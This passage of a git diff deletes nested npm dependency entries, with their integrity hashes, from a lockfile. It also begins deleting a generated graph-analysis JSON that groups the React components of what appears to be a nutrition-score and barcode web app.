- "array.prototype.findlast/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "array.prototype.findlast/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "array.prototype.findlast/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "array.prototype.tosorted/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "array.prototype.tosorted/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "array.prototype.tosorted/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "es-iterator-helpers/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "es-iterator-helpers/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "es-iterator-helpers/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "eslint-plugin-react/array-includes/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "jsx-ast-utils/array-includes/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "object.fromentries/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "object.fromentries/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "object.fromentries/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "object.groupby/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "object.groupby/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "object.groupby/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "reflect.getprototypeof/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "reflect.getprototypeof/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "reflect.getprototypeof/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "string.prototype.includes/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "string.prototype.includes/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "string.prototype.includes/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "string.prototype.matchall/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "string.prototype.matchall/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "string.prototype.matchall/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "string.prototype.repeat/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "string.prototype.repeat/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "string.prototype.repeat/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "which-boxed-primitive/is-symbol/safe-regex-test/is-regex/gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "which-builtin-type/function.prototype.name/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "eslint-plugin-react/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "eslint-plugin-react/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "eslint-plugin-react/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "jsx-ast-utils/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "jsx-ast-utils/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "jsx-ast-utils/array-includes/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/unbox-primitive/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/unbox-primitive/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract/unbox-primitive/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
- }
-}
diff --git a/graphify-out/.graphify_analysis.json b/graphify-out/.graphify_analysis.json
deleted file mode 100644
index e8e05c5..0000000
--- a/graphify-out/.graphify_analysis.json
+++ /dev/null
@@ -1,529 +0,0 @@
-{
- "communities": {
- "0": [
- "app_components_cacheonlyswitch_tsx",
- "app_components_donatecard_tsx",
- "app_components_header_tsx",
- "app_components_landing_features_tsx",
- "app_components_nutriscorebadge_tsx",
- "app_components_nutritionbar_tsx",
- "app_components_productcard_tsx",
- "app_components_productskeleton_tsx",
- "barcode_page_nutriletter",
- "components_donatecard_donatecardprops",
- "components_header_header",
- "components_header_nav_links",
- "components_nutriscorebadge_grade_class",
- "components_nutriscorebadge_grade_info",
- "components_nutriscorebadge_nova_info",
- "components_nutriscorebadge_novabadge",
- "components_nutriscorebadge_novabadgeprops",
- "components_nutriscorebadge_nutriscorebadgeprops",
- "components_nutriscorebadge_size_class",
- "components_nutritionbar_extractnumber",
- "components_nutritionbar_nutritionbar",
- "components_nutritionbar_nutritiongrid",
- "components_nutritionbar_nutritiongridprops",
- "components_nutritionbar_pct",
- "components_nutritionbar_reference",
- "components_optimizedimage_tsx",
- "components_productcard_defaultcard",
- "components_productcard_getimageurl",
- "components_productcard_getverdict",
- "components_productcard_mobilecard",
- "components_productcard_nutri_grade_class",
- "components_productcard_productcardprops",
- "components_productcard_verdictdot",
- "components_productskeleton_badgeskeleton",
- "components_productskeleton_nutritionbarskeleton",
- "components_productskeleton_skeletonprops",
- "components_ui_label_tsx",
- "components_ui_switch_tsx",
- "landing_features_feature",
- "landing_features_featurerow",
- "landing_hero_arrowright",
- "landing_howitworks_howitworks",
- "landing_howitworks_step",
- "landing_howitworks_stepcard",
- "landing_persuasivecta_persuasivecta",
- "lib_openfoodfactsapi_formatnutritiondata",
- "lib_utils_cn",
- "lib_utils_measureperformance",
- "lib_utils_memoize",
- "lib_utils_perfcache",
- "lib_utils_ts",
- "ui_checkbox_checkbox",
- "ui_label_label",
- "ui_label_labelvariants",
- "ui_switch_switch"
- ],
- "1": [
- "app_components_footer_tsx",
- "app_page_home",
- "app_page_tsx",
- "app_sobre_components_herosection_tsx",
- "app_sobre_components_howitworkssection_tsx",
- "app_sobre_components_impactsection_tsx",
- "app_sobre_components_missionsection_tsx",
- "app_sobre_components_problemsection_tsx",
- "app_sobre_components_storysection_tsx",
- "app_sobre_components_targetaudiencesection_tsx",
- "app_sobre_components_valuessection_tsx",
- "barcode_page_grade_desc",
- "barcode_page_nova_bg",
- "barcode_page_nova_desc",
- "barcode_page_nova_ink",
- "barcode_page_novapill",
- "barcode_page_nutri_bg",
- "barcode_page_nutri_ink",
- "barcode_page_nutriscale",
- "barcode_page_produtopage",
- "components_ctasection_ctasection",
- "components_footer_footer",
- "components_footer_footer_links",
- "components_herosection_herosection",
- "components_main_main",
- "components_missionsection_mission_values",
